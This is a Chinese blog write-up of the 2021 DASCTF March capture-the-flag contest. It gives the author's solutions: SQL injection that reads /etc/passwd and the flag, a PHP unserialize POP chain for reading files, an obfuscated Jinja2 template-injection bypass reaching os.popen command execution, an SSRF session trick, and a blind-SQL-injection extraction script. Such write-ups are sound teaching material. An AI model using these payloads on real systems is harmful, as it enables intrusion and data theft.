

2021-DASCTF-三月赛-Writeup

原创

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和团队的师傅们组队拿了个第十, 师傅们带飞, 我就是团队的MVP(Most Vegetable People)

MAR DASCTF明御攻防赛



正常

竞赛已结束

本场竞赛:

分值: 1350

排名: 10

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搜索团队名称



序号	团队头像	团队名称	团队总积分	得分(MAR DASCTF明御...
1		天賦Merak	2750	2750
2		打CTF不靠实力靠运气	2050	2050
3		7	1950	1950
4		做不出题组不起队	1850	1850
5		我们还是做朋友吧	1450	1450
6		WePn	1450	1450
7		Anemone	1450	1450
8		T3ns0r	1450	1450
9		S1gMa	1350	1350
10		红色代码	1350	1350

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WEB

BestDB

User Information Query

ID	UserName
1	zhangsan

控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境 应用程序 HackBar Cookie Editor

ding SQL XSS Other

http://183.129.189.60:10005/?query=1

Post data Referer User Agent Cookies [Clear All](#)

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简单的SQL注入

```
/?query=mochu"or/**/1=1%23  
/?query=mochu"order/**/by/**/3%23  
/?query=mochu"union/**/select/**/1,2,3%23  
/?query=mochu"union/**/select/**/load_file(0x2f6574632f706173737764),2,3%23  
/?query=mochu"union/**/select/**/load_file(0x2f66666361672e747874),2,3%23
```

Request

Raw
Params
Headers
Hex

```

GET
/?query=mochu*union/**/select/**/load_file(0x2f666c61672e747874),2,3%
23 HTTP/1.1
Host: 183.129.189.60:10005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=
0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://183.129.189.60:10005/?query=2
Upgrade-Insecure-Requests: 1

```

Response

Raw
Headers
Hex
HTML
Render

```

h2 {
margin-top: 28%;
color: #fff;
text-shadow: 0 0 10px;
letter-spacing: 1px;
text-align: center;
}
</style>
</head>
<body>
<form action="" method="get">
<div class="from">
<div class="submit">
<span class="form_title">User Information Query</span>
<div class="form_input">
<!--
$sql = "SELECT * FROM users WHERE id = '$query' OR username = \'$query\'';-->
<input class="inputs" type="text" name="query" required placeholder="id/username">
</div>
<div class="btn_submit">
<input type="submit" class="btn" value="Query">
</div>
</div>
</div>
</div>
</form>
</body>
</html>
<h2>
<table border="1" width="600px" cellpadding="0" cellspacing="0" align="center" style="margin-top:
20px; margin-left:
33px"><tr><th>ID</th><th>UserName</th></tr><tr><td>DASCTF{352f1504696639a0d71c2d3659
1d505b}</td><td>2</td></tr></table></h2>

```

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ez_serialize

index.php

```

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
        echo new $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }
}

class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello " . $this->a);
    }
}

class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\\"|'":|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;
}

```

先简单分析下每个类的功能吧，class A 中 `__construct()` 方法给变量设置了初始值，然后拼接了动态类（类名和参数都可控）并且实例化后输出结果。`__wakeup()` 方法实例化了 class C，然后验证了 `$this->para` 和 `$this->class` 之后进行了拼接动态类、实例化、并且输出。class B 没啥用处，`__construct()` 会输出 `$this->a`。class C 类用于过滤一些指定字符，不过这里过滤没啥用。

利用 PHP标准库 (SPL) : <https://www.php.net/manual/zh/book.spl.php>

PHP标准库中有能够进行文件处理和目录迭代的类

Class	Introduction
<code>DirectoryIterator</code>	The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.
<code>FilesystemIterator</code>	The Filesystem iterator
<code>GlobIterator</code>	Iterates through a file system in a similar fashion to glob().
<code>SplFileObject</code>	The SplFileObject class offers an object oriented interface for a file.

```
<?php
class A{
    public $class;
    public $para;
    public function __construct(){
        $this->class = "FilesystemIterator";
        $this->para = "/var/www/html";
    }
}
$poc = new A();
echo serialize($poc);
?>
```

```
O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:13:"/var/www/html";}
```

```

        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }
}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class C{

    function vaild($code){
        $pattern = '/[!|@|#|$$|%|^|&|*|=|\\"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;
}
1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE

```

The screenshot shows a web browser interface with a developer tools console. The console displays the output of a PHP unserialize function. The URL bar contains a payload: `http://183.129.189.60:10016/?pop=O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:13:"/var/www/html"}`. The console shows the output: `O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:47:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE";}`. The browser's address bar shows the URL `https://blog.csdn.net/mochu7777777`.

1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE 是个目录，继续浏览这个目录下有啥

```

O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:47:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE";}

```

```

        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }
}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class C{
    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|" |:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;
}
} flag.php

```

Encryption ▾ Encoding ▾ SQL ▾ XSS ▾ Other ▾

Load URL Split URL Execute

Post data Referer User Agent Cookies Clear All

http://183.129.189.60:10016/?pop=O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:47:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE";}

<https://blog.csdn.net/mochu7777777>

```

<?php
class A{
    public $class;
    public $para;
    public function __construct(){
        $this->class = "SplFileObject";
        $this->para = "/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
    }
}
$poc = new A();
echo serialize($poc);
?>


```

```

O:1:"A":2:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:56:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";}

```




mochu7



这样就可以绕过黑名单里面的关键字了，但是一些特殊符号还是无法绕过，例如： `_`、`[` 等，尝试通过在回显的字符中获取，例如：`lipsum`

将 `lipsum` 的输出转换成字符再转换成列表字符

```
{{lipsum|string|list}}
```



这里有个下划线，根据黑名单里面的过滤字符，这里可以使用 `index` 的方式来取每一位字符的下标数字，过滤了点 `.` 可以通过 `attr` 来绕过

```
{%set idx=dict(ind=a,ex=a)|join%}  
{%set ff=dict(f=a)|join%}  
{{(lipsum|string|list)|attr(idx)(ff)}}
```

The screenshot shows the Burp Suite interface. At the top, there are navigation icons for '查看器' (Viewer), '控制台' (Console), '调试器' (Debugger), '网络' (Network), '样式编辑器' (Style Editor), '性能' (Performance), '内存' (Memory), '存储' (Storage), and '无障碍环境' (Accessibility). Below this is a menu bar with 'Encryption', 'Encoding', 'SQL', 'XSS', and 'Other'. On the left, there are three buttons: 'Load URL', 'Split URL', and 'Execute'. The main area displays a URL: `http://127.0.0.1:5000/test/?id={%set idx=dict(ind=a,ex=a)|join%}{%set ff=dict(f=a)|join%}{{(lipsum|string|list)|attr(idx)(ff)}}`. A URL is also visible in the bottom right corner: `https://blog.csdn.net/mochu7777777`.

这样就能拿到 **字符f** 的下标 **数字1** 了，也就能拿到所有的数字了

```
{%set ff=dict(f=a)|join%} //下标是数字1
{%set uu=dict(u=a)|join%} //下标是数字2
{%set nn=dict(n=a)|join%} //下标是数字3
{%set cc=dict(c=a)|join%} //下标是数字4
{%set tt=dict(t=a)|join%} //下标是数字5
{%set ii=dict(i=a)|join%} //下标是数字6
{%set oo=dict(o=a)|join%} //下标是数字7
{%set gg=dict(g=a)|join%} //下标是数字10
{%set ee=dict(e=a)|join%} //下标是数字11
{%set rr=dict(r=a)|join%} //下标是数字14
{%set aa=dict(a=a)|join%} //下标是数字15
.....
```

然后获取下划线 `_`，可以通过 `pop` 或者 `__getitem__` 来获取指定下标的字符

```
{%set idx=dict(ind=a,ex=a)|join%}
{%set p=dict(po=a,p=a)|join%}
{%set nn=dict(n=a)|join%}
{%set ii=dict(i=a)|join%}
{%set three=(lipsum|string|list)|attr(idx)(nn)%}
{%set six=(lipsum|string|list)|attr(idx)(ii)%}
{{(lipsum|string|list)|attr(p)(three*six)}}
```

Encryption Encoding SQL XSS Other

- Load URL
- Split URL
- Execute

```
http://127.0.0.1:5000/test/?id={%set idx=dict(ind=a,ex=a)|join%}  
{%set p=dict(po=a,p=a)|join%}  
{%set nn=dict(n=a)|join%}  
{%set ii=dict(i=a)|join%}  
{%set three=(lipsum|string|list)|attr(idx)(nn)%}  
{%set six=(lipsum|string|list)|attr(idx)(ii)%}  
{{{lipsum|string|list)|attr(p)(three*six)}}
```

<https://blog.csdn.net/mochu7777777>

等效于: `{{(lipsum|string|list).pop(18)}}`

拿到下划线了之后, 就可以构造 `__globals__`、`__builtins__`, 这样就可以使用 `chr`

```
{{lipsum.__globals__[ '__builtins__' ].chr(65)}}
```

A


Encryption Encoding SQL XSS Other

- Load URL
- Split URL

```
http://127.0.0.1:5000/test/?id={{lipsum.__globals__[ '__builtins__' ].chr(65)}}
```

<https://blog.csdn.net/mochu7777777>

```
{%set idx=dict(ind=a,ex=a)|join%}
{%set pp=dict(po=a,p=a)|join%}
{%set ppn=dict(po=a,pen=a)|join%}
{%set gt=dict(ge=a,t=a)|join%}
{%set char=dict(ch=a,r=a)|join%}
{%set so=dict(o=a,s=a)|join%}
{%set red=dict(re=a,ad=a)|join%}
{%set ff=dict(f=a)|join%}
{%set tt=dict(t=a)|join%}
{%set rr=dict(r=a)|join%}
{%set nn=dict(n=a)|join%}
{%set ii=dict(i=a)|join%}
{%set one=(lipsum|string|list)|attr(idx)(ff)%}
{%set five=(lipsum|string|list)|attr(idx)(tt)%}
{%set fourteen=(lipsum|string|list)|attr(idx)(rr)%}
{%set three=(lipsum|string|list)|attr(idx)(nn)%}
{%set six=(lipsum|string|list)|attr(idx)(ii)%}
{%set underscore=(lipsum|string|list)|attr(pp)(three*six)%}
{%set gbls=(underscore,underscore,dict(glob=a,als=a)|join,underscore,underscore)|join%}
{%set bltns=(underscore,underscore,dict(builtins=a)|join,underscore,underscore)|join%}
{%set chars=(lipsum|attr(gbls))|attr(gt)(bltns)|attr(gt)(char)%}
{%set A=chars((fourteen-one)*five)%}
{{A}}
```



A

```
http://127.0.0.1:5000/test/?id={%set idx=dict(ind=a,ex=a)|join%}
{%set pp=dict(po=a,p=a)|join%}
{%set ppn=dict(po=a,pen=a)|join%}
{%set gt=dict(ge=a,t=a)|join%}
{%set char=dict(ch=a,r=a)|join%}
{%set so=dict(o=a,s=a)|join%}
{%set red=dict(re=a,ad=a)|join%}
{%set ff=dict(f=a)|join%}
{%set tt=dict(t=a)|join%}
{%set rr=dict(r=a)|join%}
{%set nn=dict(n=a)|join%}
{%set ii=dict(i=a)|join%}
{%set one=(lipsum|string|list)|attr(idx)(ff)%}
{%set five=(lipsum|string|list)|attr(idx)(tt)%}
{%set fourteen=(lipsum|string|list)|attr(idx)(rr)%}
{%set three=(lipsum|string|list)|attr(idx)(nn)%}
{%set six=(lipsum|string|list)|attr(idx)(ii)%}
{%set underscore=(lipsum|string|list)|attr(pp)(three*six)%}
{%set gbls=(underscore,underscore,dict(glob=a,als=a)|join,underscore,underscore)|join%}
{%set bltns=(underscore,underscore,dict(builtins=a)|join,underscore,underscore)|join%}
{%set chars=(lipsum|attr(gbls))|attr(gt)(bltns)|attr(gt)(char)%}
{%set A=chars((fourteen-one)*five)%}
{{A}}
```

<https://blog.csdn.net/mochu7777777>

接着尝试构造命令执行

```
{{lipsum.__globals__.get('os').popen('whoami').read()}}
```

mochu7-pc\administrator

查看器 控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境 应用程序

Encryption ▾ Encoding ▾ SQL ▾ XSS ▾ Other ▾

Load URL

Split URL

http://127.0.0.1:5000/test/?id={{lipsum.__globals__.__get('os').popen('whoami').read()}}

<https://blog.csdn.net/mochu7777777>

```
{%set idx=dict(ind=a,ex=a)|join%}
{%set pp=dict(po=a,p=a)|join%}
{%set ppn=dict(po=a,pen=a)|join%}
{%set gt=dict(ge=a,t=a)|join%}
{%set char=dict(ch=a,r=a)|join%}
{%set so=dict(o=a,s=a)|join%}
{%set red=dict(re=a,ad=a)|join%}
{%set nn=dict(n=a)|join%}
{%set ii=dict(i=a)|join%}
{%set three=(lipsum|string|list)|attr(idx)(nn)%}
{%set six=(lipsum|string|list)|attr(idx)(ii)%}
{%set underscore=(lipsum|string|list)|attr(pp)(three*six)%}
{%set gbls=(underscore,underscore,dict(glob=a,als=a)|join,underscore,underscore)|join%}
{%set bltns=(underscore,underscore,dict(builtins=a)|join,underscore,underscore)|join%}
{%set cmd=dict(whoami=a)|join%}
{{(lipsum|attr(gbls))|attr(gt)(so)|attr(ppn)(cmd)|attr(red)()}}
```

mochu7-pc\administrator

Encryption Encoding SQL XSS Other

- Load URL
- Split URL
- Execute

```
http://127.0.0.1:5000/test/?id={%set idx=dict(ind=a,ex=a)|join%}
{%set pp=dict(po=a,p=a)|join%}
{%set ppn=dict(po=a,pen=a)|join%}
{%set gt=dict(ge=a,t=a)|join%}
{%set char=dict(ch=a,r=a)|join%}
{%set so=dict(o=a,s=a)|join%}
{%set red=dict(re=a,ad=a)|join%}
{%set nn=dict(n=a)|join%}
{%set ii=dict(i=a)|join%}
{%set three=(lipsum|string|list)|attr(idx)(nn)%}
{%set six=(lipsum|string|list)|attr(idx)(ii)%}
{%set underscore=(lipsum|string|list)|attr(pp)(three*six)%}
{%set gbls=(underscore,underscore,dict(glob=a,als=a)|join,underscore,underscore)|join%}
{%set bltns=(underscore,underscore,dict(builtins=a)|join,underscore,underscore)|join%}
{%set cmd=dict(whoami=a)|join%}
{{{(lipsum|attr(gbls))|attr(gt)(so)|attr(ppn)(cmd)|attr(red)(%)}}
```

<https://blog.csdn.net/mochu7777777>

ez_login

index.php


```
<?php
if(!isset($_SESSION)){
    highlight_file(__FILE__);
    die("no session");
}
include("../php/check_ip.php");
error_reporting(0);
$url = $_GET['url'];
if(check_inner_ip($url)){
    if($url){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        curl_close($ch);
    }
}
else{
    echo "Your IP is internal yoyoyo";
}
?>
```

目录扫描扫描到一个 `admin.php`

```
Windows PowerShell
PS D:\Tools\Web\Web_Path_Scanner\dirsearch> python .\dirsearch.py -u "http://183.129.189.60:10015/" -e php

dirsearch v0.3.9


Extensions: php | HTTP method: get | Threads: 10 | Wordlist size: 6046
Error Log: D:\Tools\Web\Web_Path_Scanner\dirsearch\logs\errors-21-04-06_22-14-23.log
Target: http://183.129.189.60:10015/

[22:14:23] Starting:
[22:14:23] 301 - 185B - /php -> http://183.129.189.60/php/
[22:14:23] 400 - 173B - /%2e%2e/google.com
[22:14:28] 200 - 5KB - /admin.php
[22:14:29] 200 - 145B - /admin.php
[22:14:37] 301 - 185B - /css -> http://183.129.189.60/css/
[22:14:41] 301 - 185B - /images -> http://183.129.189.60/images/
[22:14:41] 200 - 5KB - /index.php
[22:14:45] 200 - 5KB - /myadmin.php
[22:14:45] 302 - 510B - (/)

Task Completed
PS D:\Tools\Web\Web_Path_Scanner\dirsearch>
```

<https://blog.csdn.net/mochu777777>

访问下发现只能从本地访问，加了个 `XFF` 也不行，看源码估计应该是利用SSRF从内部访问过去



分析代码，要利用SSRF得先绕过这个

```
<?php
if(!isset($_SESSION)){
    highlight_file(__FILE__);
    die("no session");
}
```

需要 初始化 `session`，这里需要利用 `PHP_SESSION_UPLOAD_PROGRESS` 来初始化 `session`

`session.upload_progress` 是 `php>=5.4` 添加的。最初是PHP为上传进度条设计的一个功能，在上传文件较大的情况下，PHP将进行流式上传，并将进度信息放在 `session` 中（包含用户可控的值），即使此时用户没有初始化 `session`，PHP也会自动初始化 `session`。而且，默认情况下 `session.upload_progress.enabled` 是为开启的

```
# -*- coding: utf-8 -*-
import requests

url = 'http://183.129.189.60:10015/?url=http://localhost/admin.php'
mydata = {'PHP_SESSION_UPLOAD_PROGRESS': 'mochu7'}
myfile = {'file': ('mochu7.txt', 'mochu7')}
mycookie = {'PHPSESSID': 'jttq4q3fdfgnckcrd52a6nhf90a'}

r = requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
print(r.request.body.decode('utf8'))

print(r.text)
```

初始化 `session` 后，利用SSRF根据之前的提示访问内网的 `admin.php`

```
POST /?url=http://localhost/admin.php HTTP/1.1
Host: 183.129.189.60:10015
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=jttq4q3fdfgnckcrd52a6nhf90a
Content-Type: multipart/form-data; boundary=-----2f3cfb380baba3a0dbedba68771e56c3
Content-Length: 345

-----2f3cfb380baba3a0dbedba68771e56c3
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

mochu7
-----2f3cfb380baba3a0dbedba68771e56c3
Content-Disposition: form-data; name="file"; filename="mochu7.txt"

mochu7
-----2f3cfb380baba3a0dbedba68771e56c3--
```

Request

Raw Params Headers Hex

```
POST /?url=http://localhost/admin.php HTTP/1.1
Host: 183.129.189.60:10015
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=jtq4q3fdgncrcrd52a6nhf90a
Content-Type: multipart/form-data;
boundary=-----2f3cfb380baba3a0dbedba68771e56c3
Content-Length: 345

-----2f3cfb380baba3a0dbedba68771e56c3
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

mochu7
-----2f3cfb380baba3a0dbedba68771e56c3
Content-Disposition: form-data; name="file"; filename="mochu7.txt"

mochu7
-----2f3cfb380baba3a0dbedba68771e56c3--
```


Response

Raw Headers Hex HTML Render

```
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Tue, 06 Apr 2021 14:47:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Content-Length: 2110

<!DOCTYPE html>
<html>
<head>
<title>Admin Login</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<script type="application/x-javascript"> addEventListener("load", function() {
setTimeout(hideURLbar, 0); }, false); function hideURLbar() { window.scrollTo(0,1); }
</script>
<meta name="keywords" content="Flat Dark Web Login Form Responsive Templates, Iphone
Widget Template, Smartphone login forms,Login form, Widget Template, Responsive Templates,
a Ipad 404 Templates, Flat Responsive Templates" />
<link href="css/style.css" rel="stylesheet" type="text/css" />
<!--/yuanma_f0r_eAZy_logon.zip-->
<!--webfonts-->
<link
href="http://fonts.useso.com/css?family=PT+Sans:400,700,400italic,700italic|Oswald:400,300,700"
rel="stylesheet" type="text/css">
<link href="http://fonts.useso.com/css?family=Exo+2" rel="stylesheet" type="text/css">
<!--/webfonts-->
<script src="http://ajax.useso.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
</head>
```

admin.php 长这样



<https://blog.csdn.net/mochu777777>

admin.php 的注释里面有一个 /yuanma_f0r_eAZy_logon.zip，访问下载得到 se1f_Log3n.php

```

<?php
include("../php/db.php");
include("../php/check_ip.php");
error_reporting(E_ALL);
$ip = $_SERVER["REMOTE_ADDR"];
if($ip != "127.0.0.1"){
    exit();
}else{
    try{
        $sql = 'SELECT `username`,`password` FROM `user` WHERE `username` = "'. $username.'" and `password`="' . $password.'"';
        $result = $con->query($sql);
        echo $sql;
    }catch(Exception $e){
        echo $e->getMessage();
    }
    ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND die("error")) OR ( ($con->close() AND die('Try again!')) );
}

```

布尔盲注，url编码一下payload，# (%23) 两次编码

```

from urllib.parse import quote

payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or 1=1%23&password=mochu7'
print(quote(payload))

```

对比下这两次结果即可判断是布尔盲注

```
/?url=http%3A//localhost//se1f_Log3n.php%3Fusername%3Dmochu%27or%201%3D1%2523%26password%3Dmochu7
```

The screenshot displays the network traffic for a request to a local server. The 'Request' tab shows a POST request with a URL that has been URL-encoded. The 'Response' tab shows a 200 OK status and a response body that reads 'SELECT * FROM `users` where `username`='mochu'or 1=1# and password='mochu7'; correct?'. This indicates that the payload was successfully executed and returned a true result, confirming a blind SQL injection.

```
/?url=http%3A//localhost//se1f_Log3n.php%3Fusername%3Dmochu%27or%201%3D2%2523%26password%3Dmochu7
```

Request

Raw Params Headers Hex

```
POST
/?url=http%3A//localhost//se1f_Log3n.php%3Fusername%3Dmochu%27or%201%3D2%2523%26password%
3Dmochu7 HTTP/1.1
Host: 183.129.189.60:10015
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20101011 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=jtq4q3fdgncckrd52a6nhf90a
Content-Type: multipart/form-data; boundary=-----1791288576
Content-Length: 224

-----1791288576
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

mochu7
-----1791288576
Content-Disposition: form-data; name="file"; filename="mochu7.txt"

mochu7
-----1791288576--
```

Response

Raw Headers Hex Render

```
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Tue, 06 Apr 2021 16:57:04 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Content-Length: 104

SELECT * FROM `users` where `username`='mochu'or 1=2# and password='mochu7';
wrong username or password
```

<https://blog.csdn.net/mochu7777777>

附上脚本

```
# -*- coding: utf-8 -*-
from urllib.parse import quote
import requests
import time

asc_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"
mydata = {'PHP_SESSION_UPLOAD_PROGRESS': 'mochu7'}
myfile = {'file': ('mochu7.txt', 'mochu7')}
mycookie = {'PHPSESSID': 'jtq4q3fdgncckrd52a6nhf90a'}
ip = 'http://183.129.189.60:10015/?url='

flag = ''
for l in range(1,50):
    for s in asc_str:
        payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select flag from ctf.secret),{
},1))={}%23password=mochu7'.format(l,ord(s))
        url = ip + quote(payload)
        r = requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
        time.sleep(0.2)
        if 'correct?' in r.text:
            flag += s
            print(flag)
        else:
            pass
```

Payload和查询的信息

```
payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select user()),{},{,1))={}%23password=mochu7'.format(1,ord(s))

user(): root@localhost

payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select group_concat(schema_name) from information_schema.schemata),{},{,1))={}%23password=mochu7'.format(1,ord(s))

databases: ctf,information_schema,mysql,performance_schema,test


payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},{,1))={}%23password=mochu7'.format(1,ord(s))

Table_in_ctf: secret,users

payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=\'secret\'),{},{,1))={}%23password=mochu7'.format(1,ord(s))

Column_in_secret: flag

payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select flag from ctf.secret),{},{,1))={}%23password=mochu7'.format(1,ord(s))
```



MISC

签到



公众号语音识别： 异世相遇！尽享美味！安恒赛高！

见笑了，偶四方银，藕的普通话不标准哈哈~



DASCTF{welcome_to_march_dasctf}

简单的png隐写




```

3:2CF0h: 33 DF D5 8B 94 CF AE EA CC 31 2E 70 7E FC 47 2F 3B0<"i@e!l.p~uG/
3:2D00h: 1A 17 9F FC F1 BF 9F EE FF CF AF FE F7 87 FF FF ..Yuñ;YiyI b+=yy
3:2D10h: FD 70 EB D1 2E 56 2D 4D 20 6F 64 40 D0 D5 59 14 ýpeÑ.V-M od@DÓY.
3:2D20h: 7F 2F 2D 0C 7F AB EB FD FF 00 50 4B 01 02 1F 00 ./-..«éýÿ.PK...
3:2D30h: 14 00 09 00 08 00 44 90 77 50 E7 C0 8E 6D EA 2E .....D.wPçÀžmè.
3:2D40h: 02 00 1B 31 02 00 08 00 24 00 00 00 00 00 00 00 .....$.
3:2D50h: 20 00 00 00 00 00 00 00 66 6C 61 67 2E 6A 70 67 .....flag.jpg
3:2D60h: 0A 00 20 00 00 00 00 00 01 00 18 00 56 41 B7 1D ..VA..
3:2D70h: FA 00 D6 01 7A 89 29 1A 03 01 D6 01 BD E1 37 16 ú.Ö.z%)...Ö.%á7.
3:2D80h: 03 01 D6 01 50 4B 01 02 1F 00 14 00 09 00 08 00 ..Ö.PK.....*..
3:2D90h: C5 8D 77 50 22 C2 EB BE F4 FD 00 00 FF 1F 01 00 A.wP"Àé%óý..ý...
3:2DA0h: 08 00 24 00 00 00 00 00 00 00 20 00 00 00 10 2F ..$.
3:2DB0h: 02 00 68 69 6E 74 2E 70 6E 67 0A 00 20 00 00 00 ..hint.png...
3:2DC0h: 00 00 01 00 18 00 AF B2 03 E2 F7 00 D6 01 79 80 .....-².â+.Ö.y€
3:2DD0h: D0 16 03 01 D6 01 CD 93 37 16 03 01 D6 01 50 4B Đ...Ö.í"7...Ö.PK
3:2DE0h: 05 06 00 00 00 00 02 00 02 00 B4 00 00 00 2A 2D .....'.*~

```

模板结果 - ZIP.bt


名称	值	开始	大小	颜色
> struct ZIPFILERECORD record[0]	flag.jpg	0h	22F10h	Fg: Bg:
> struct ZIPFILERECORD record[1]	hint.png	22F10h	FE1Ah	Fg: Bg:
> struct ZIPDIRENTRY dirEntry[0]	flag.jpg	32D2Ah	5Ah	Fg: Bg:
> char deSignature[4]	PK#	32D2Ah	4h	Fg: Bg:
ushort deVersionMadeBy	31	32D2Eh	2h	Fg: Bg:
ushort deVersionToExtract	20	32D30h	2h	Fg: Bg:
ushort deFlags	9	32D32h	2h	Fg: Bg:
enum_COMPFTYPE deCompression	COMP_DEFLATE (8)	32D34h	2h	Fg: Bg:
DOSTIME deFileTime	18:02:08	32D36h	2h	Fg: Bg:
DOSDATE deFileDate	03/23/2020	32D38h	2h	Fg: Bg:
uint deCrc	6D8E0CE7h	32D3Ah	4h	Fg: Bg:
uint deCompressedSize	143082	32D3Eh	4h	Fg: Bg:
uint deUncompressedSize	143643	32D42h	4h	Fg: Bg:
ushort deFileNameLength	8	32D46h	2h	Fg: Bg:
ushort deExtraFieldLength	36	32D48h	2h	Fg: Bg:
ushort deFileCommentLength	0	32D4Ah	2h	Fg: Bg:
ushort deDiskNumberStart	0	32D4Ch	2h	Fg: Bg:
ushort deInternalAttributes	0	32D4Eh	2h	Fg: Bg:
uint deExternalAttributes	32	32D50h	4h	Fg: Bg:
uint deHeaderOffset	0	32D54h	4h	Fg: Bg:
> char deFileName[8]	flag.jpg	32D58h	8h	Fg: Bg:
> uchar deExtraField[36]		32D60h	24h	Fg: Bg:
> struct ZIPDIRENTRY dirEntry[1]	hint.png	32D84h	5Ah	Fg: Bg:
> char deSignature[4]	PK#	32D84h	4h	Fg: Bg:
ushort deVersionMadeBy	31	32D88h	2h	Fg: Bg:
ushort deVersionToExtract	20	32D8Ah	2h	Fg: Bg:
ushort deFlags	9	32D8Ch	2h	Fg: Bg:
enum_COMPFTYPE deCompression	COMP_DEFLATE (8)	32D8Eh	2h	Fg: Bg:
DOSTIME deFileTime	17:46:10	32D90h	2h	Fg: Bg:
DOSDATE deFileDate	03/23/2020	32D92h	2h	Fg: Bg:
